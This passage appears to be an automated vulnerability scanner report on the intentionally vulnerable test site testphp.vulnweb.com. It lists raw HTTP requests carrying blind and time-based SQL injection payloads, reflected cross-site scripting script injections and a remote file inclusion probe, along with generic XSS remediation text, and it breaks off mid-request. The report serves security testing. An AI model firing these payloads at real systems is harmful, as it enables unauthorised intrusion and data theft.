/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 467=467

Tests performed:
- 1*1*1*1 => TRUE
- 1*467*462*0 => FALSE
- 11*5*2*999 => FALSE
- 1*1*1 => TRUE
- 1*1*1*1*1*1 => TRUE
- 11*1*1*0*1*1*467 => FALSE
- 1 AND 5*4=20 AND 467=467 => TRUE
- 1 AND 5*4=21 AND 467=467 => FALSE
... (line truncated)

Request headers

```
GET
/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/?id=1%20AND%203*2*1%3d6%20AND
%20467%3d467 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

```
Accept: */*
```

/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 557=557

Tests performed:
- 1*1*1*1 => TRUE
- 1*557*552*0 => FALSE
- 11*5*2*999 => FALSE
- 1*1*1 => TRUE
- 1*1*1*1*1*1 => TRUE
- 11*1*1*0*1*1*557 => FALSE
- 1 AND 5*4=20 AND 557=557 => TRUE
- 1 AND 5*4=21 AND 557=557 => FALSE
... (line truncated)

Request headers

```
GET
/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/?id=1%20AND%203*2*1%3d6%20AND%20557%3d557
HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/RateProduct-1.html

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 746=746

Tests performed:
- 1*1*1*1 => TRUE
- 1*746*741*0 => FALSE
- 11*5*2*999 => FALSE
- 1*1*1 => TRUE
- 1*1*1*1*1*1 => TRUE
- 11*1*1*0*1*1*746 => FALSE
- 1 AND 5*4=20 AND 746=746 => TRUE
- 1 AND 5*4=21 AND 746=746 => FALSE
... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/RateProduct-1.html?id=1%20AND%203*2*1%3d6%20AND%20746%3d746
HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/RateProduct-2.html

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 31=31

Tests performed:
- 1*1*1*1 => TRUE
- 1*31*26*0 => FALSE
- 11*5*2*999 => FALSE
- 1*1*1 => TRUE
- 1*1*1*1*1*1 => TRUE
- 11*1*1*0*1*1*31 => FALSE
- 1 AND 5*4=20 AND 31=31 => TRUE
- 1 AND 5*4=21 AND 31=31 => FALSE
- 1 AND ... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/RateProduct-2.html?id=1%20AND%203*2*1%3d6%20AND%2031%3d31 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/RateProduct-3.html

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 445=445

Tests performed:
- 1*1*1*1 => TRUE
- 1*445*440*0 => FALSE
- 11*5*2*999 => FALSE
- 1*1*1 => TRUE
- 1*1*1*1*1*1 => TRUE
- 11*1*1*0*1*1*445 => FALSE
- 1 AND 5*4=20 AND 445=445 => TRUE
- 1 AND 5*4=21 AND 445=445 => FALSE
... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/RateProduct-3.html?id=1%20AND%203*2*1%3d6%20AND%20445%3d445
HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/product.php

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000459=000459 --

Tests performed:
- -1' OR 2+459-459-1=0+0+0+1 -- => TRUE
- -1' OR 3+459-459-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+459-459) -- => FALSE
- -1' OR 3*2>(0+5+459-459) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000459=000459 -- => TRUE
- -1' OR 000459=000459 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /product.php HTTP/1.1
```

```
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000459=000459%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/product.php

Details

URL encoded GET input pic was set to 2 AND 3*2*1=6 AND 801=801

Tests performed:
- 1*1*1*2 => TRUE
- 2*801*796*0 => FALSE
- 12*5*2*999 => FALSE
- 2*1*1 => TRUE
- 1*1*1*1*1*2 => TRUE
- 12*1*1*0*1*1*801 => FALSE
- 2 AND 5*4=20 AND 801=801 => TRUE
- 2 AND 5*4=21 AND 801=801 => FALSE[/li ... (line truncated)

Request headers

```
GET /product.php?pic=2%20AND%203*2*1%3d6%20AND%20801%3d801 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/search.php

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000598=000598 --

Tests performed:
- -1' OR 2+598-598-1=0+0+0+1 -- => TRUE
- -1' OR 3+598-598-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+598-598) -- => FALSE
- -1' OR 3*2>(0+5+598-598) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000598=000598 -- => TRUE
- -1' OR 000598=000598 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /search.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000598=000598%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/search.php

Details

URL encoded POST input searchFor was set to if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed:
- if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/ => 3.312 s
- if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))O ... (line truncated)

Request headers

```
POST /search.php?test=1 HTTP/1.1
Content-Length: 144
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

searchFor=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0
))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/
```

/search.php

Details

URL encoded GET input test was set to (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/

Tests performed:
- (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => 3.328 s
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v) ... (line truncated)

Request headers

```
POST
/search.php?test=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0))
)v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/ HTTP/1.1
Content-Length: 11
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

searchFor=1
```

/search.php

Details

URL encoded GET input test was set to (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/

Tests performed:
- (select(0)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(8)))v)+'"+(select(0)from(select(sleep(8)))v)+"*/ => 8.297 s
- (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)) ... (line truncated)

Request headers

```
POST
/search.php?test=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0))
)v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/ HTTP/1.1
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

goButton=go&searchFor=the
```

/secured/newuser.php

Details

URL encoded POST input uuname was set to -1' OR 3*2*1=6 AND 000101=000101 --

Tests performed:
- -1' OR 2+101-101-1=0+0+0+1 -- => TRUE
- -1' OR 3+101-101-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+101-101) -- => FALSE
- -1' OR 3*2>(0+5+101-101) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000101=000101 -- => TRUE
- -1' OR 000101=000101 AND ... (line truncated)

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 235
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ajqogsbv&
uuname=-1'%20OR%203*2*1%3d6%20AND%20000101%3d000101%20--%20
```

/userinfo.php

Details

Cookie input login was set to
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed:
- if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => 6.297 s
- if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => ... (line truncated)

Request headers

```
GET /userinfo.php HTTP/1.1
Cookie:
login=if(now()=sysdate()%2Csleep(0)%2C0)/*'XOR(if(now()=sysdate()%2Csleep(0)%2C0))OR'"XO
R(if(now()=sysdate()%2Csleep(0)%2C0))OR"*/; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
```

```
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/userinfo.php

Details

URL encoded POST input pass was set to -1' OR 3*2*1=6 AND 000277=000277 --

Tests performed:
- -1' OR 2+277-277-1=0+0+0+1 -- => TRUE
- -1' OR 3+277-277-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+277-277) -- => FALSE
- -1' OR 3*2>(0+5+277-277) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000277=000277 -- => TRUE
- -1' OR 000277=000277 AND 3+ ... (line truncated)

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

pass=-1'%20OR%203*2*1%3d6%20AND%20000277%3d000277%20--%20&uname=fsjruohb
```

/userinfo.php

Details

URL encoded POST input uname was set to -1' OR 3*2*1=6 AND 000674=000674 --

Tests performed:
- -1' OR 2+674-674-1=0+0+0+1 -- => TRUE
- -1' OR 3+674-674-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+674-674) -- => FALSE
- -1' OR 3*2>(0+5+674-674) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000674=000674 -- => TRUE
- -1' OR 000674=000674 AND 3 ... (line truncated)

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 80
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

pass=g00dPa%24%24w0rD&uname=-1'%20OR%203*2*1%3d6%20AND%20000674%3d000674%20--%20
```

Cross site scripting

Severity	**High**
Type	Validation
Reported by module	Scripting (Remote_File_Inclusion_XSS.script)

Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your script should filter metacharacters from user input.

References

XSS Annihilation
How To: Prevent Cross-Site Scripting in ASP.NET
OWASP PHP Top 5
XSS Filter Evasion Cheat Sheet
OWASP Cross Site Scripting
The Cross Site Scripting Faq
VIDEO: How Cross-Site Scripting (XSS) Works
Acunetix Cross Site Scripting Attack
Cross site scripting

Affected items

/showimage.php

Details

URL encoded GET input file was set to http://testasp.vulnweb.com/t/xss.html?%00.jpg

Request headers

```
GET /showimage.php?file=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg&size=160
HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/showimage.php

Details

URL encoded GET input file was set to http://testasp.vulnweb.com/t/xss.html?%00.jpg

Request headers

```
GET /showimage.php?file=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

```
Accept: */*
```

Cross site scripting (verified)

Severity	**High**
Type	Validation
Reported by module	Scripting (XSS.script)

Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your script should filter metacharacters from user input.

References

OWASP PHP Top 5
Cross site scripting
XSS Filter Evasion Cheat Sheet
XSS Annihilation
OWASP Cross Site Scripting
The Cross Site Scripting Faq
Acunetix Cross Site Scripting Attack
How To: Prevent Cross-Site Scripting in ASP.NET
VIDEO: How Cross-Site Scripting (XSS) Works

Affected items

/comment.php

Details

URL encoded POST input name was set to <your%20name%20here>'"()&%<acx><ScRiPt >hsBW(9287)</ScRiPt>

Request headers

```
POST /comment.php HTTP/1.1
Content-Length: 140
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

Submit=Submit&comment=1&name=<your%2520name%2520here>'%22()%26%25<acx><ScRiPt%20>hsBW(92
87)</ScRiPt>&phpaction=echo%20%24_POST%5bcomment%5d;
```

/guestbook.php

Details

Cookie input login was set to 1" onmouseover=g73F(9268) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /guestbook.php HTTP/1.1
```

```
Cookie: login=1"%20onmouseover=g73F(9268)%20bad="; mycookie=3
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/guestbook.php

Details

URL encoded POST input name was set to anonymous%20user'"()&%<acx><ScRiPt >00P3(9663)</ScRiPt>

Request headers

```
POST /guestbook.php HTTP/1.1
Content-Length: 98
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

submit=add%20message&name=anonymous%2520user'%22()%26%25<acx><ScRiPt%20>00P3(9663)</ScRi
Pt>&text=1
```

/guestbook.php

Details

URL encoded POST input name was set to 1'"()&%<acx><ScRiPt >CTAc(9271)</ScRiPt>

Request headers

```
POST /guestbook.php HTTP/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

name=1'%22()%26%25<acx><ScRiPt%20>CTAc(9271)</ScRiPt>&text=1
```

/guestbook.php

Details

URL encoded POST input text was set to 1'"()&%<acx><ScRiPt >CTAc(9966)</ScRiPt>

Request headers

```
POST /guestbook.php HTTP/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

name=1&text=1'%22()%26%25<acx><ScRiPt%20>CTAc(9966)</ScRiPt>
```

/guestbook.php

Details

URL encoded POST input text was set to 1'"()&%<acx><ScRiPt >00P3(9613)</ScRiPt>

Request headers

```
POST /guestbook.php HTTP/1.1
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

submit=add%20message&name=anonymous%20user&text=1'%22()%26%25<acx><ScRiPt%20>00P3(9613)<
/ScRiPt>
```

/hpp/

Details

URL encoded GET input pp was set to 12'"()&%<acx><ScRiPt >m0pZ(9532)</ScRiPt>

Request headers

```
GET /hpp/?pp=12'%22()%26%25<acx><ScRiPt%20>m0pZ(9532)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/hpp/index.php

Details

URL encoded GET input pp was set to 12'"()&%<acx><ScRiPt >WzOJ(9309)</ScRiPt>

Request headers

```
GET /hpp/index.php?pp=12'%22()%26%25<acx><ScRiPt%20>WzOJ(9309)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/hpp/params.php

Details

URL encoded GET input p was set to valid'"()&%<acx><ScRiPt >ryMi(9804)</ScRiPt>

Request headers

```
GET /hpp/params.php?p=valid'%22()%26%25<acx><ScRiPt%20>ryMi(9804)</ScRiPt>&pp=12
HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/hpp/params.php

Details

URL encoded GET input pp was set to 12'"()&%<acx><ScRiPt >ryMi(9869)</ScRiPt>

Request headers

```
GET /hpp/params.php?p=valid&pp=12'%22()%26%25<acx><ScRiPt%20>ryMi(9869)</ScRiPt>
HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input artist was set to 3'"()&%<acx><ScRiPt >GScG(9871)</ScRiPt>

Request headers

```
GET /listproducts.php?artist=3'%22()%26%25<acx><ScRiPt%20>GScG(9871)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input cat was set to 1'"()&%<acx><ScRiPt >eaAO(9559)</ScRiPt>

Request headers

```
GET /listproducts.php?artist=1&cat=1'%22()%26%25<acx><ScRiPt%20>eaAO(9559)</ScRiPt>
HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input cat was set to 4'"()&%<acx><ScRiPt >LYJ6(9922)</ScRiPt>

Request headers

```
GET /listproducts.php?cat=4'%22()%26%25<acx><ScRiPt%20>LYJ6(9922)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/search.php

Details

URL encoded POST input searchFor was set to 1'"()&%<acx><ScRiPt >7Fnm(9988)</ScRiPt>

Request headers

```
POST /search.php?test=1 HTTP/1.1
Content-Length: 58
```

```
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

searchFor=1'%22()%26%25<acx><ScRiPt%20>7Fnm(9988)</ScRiPt>
```

/search.php

Details

URL encoded POST input searchFor was set to the'"()&%<acx><ScRiPt >WMAD(9631)</ScRiPt>

Request headers

```
POST /search.php?test=query HTTP/1.1
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

goButton=go&searchFor=the'%22()%26%25<acx><ScRiPt%20>WMAD(9631)</ScRiPt>
```

/secured/newuser.php

Details

URL encoded POST input uaddress was set to 3137%20Laguna%20Street'"()&%<acx><ScRiPt >ODrX(9583)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 242
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

signup=signup&uaddress=3137%2520Laguna%2520Street'%22()%26%25<acx><ScRiPt%20>ODrX(9583)<
/ScRiPt>&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g0
0dPa%24%24w0rD&uphone=555-666-0606&urname=unecxgsl&uuname=unecxgsl
```

/secured/newuser.php

Details

URL encoded POST input ucc was set to 4111111111111111'"()&%<acx><ScRiPt >ODrX(9985)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 238
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

```
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111'%22()%26%25<acx><ScRi
Pt%20>ODrX(9985)</ScRiPt>&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa
%24%24w0rD&uphone=555-666-0606&urname=iuphfevj&uuname=iuphfevj
```

/secured/newuser.php

Details

URL encoded POST input uemail was set to sample%40email.tst'"()&%<acx><ScRiPt >ODrX(9730)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
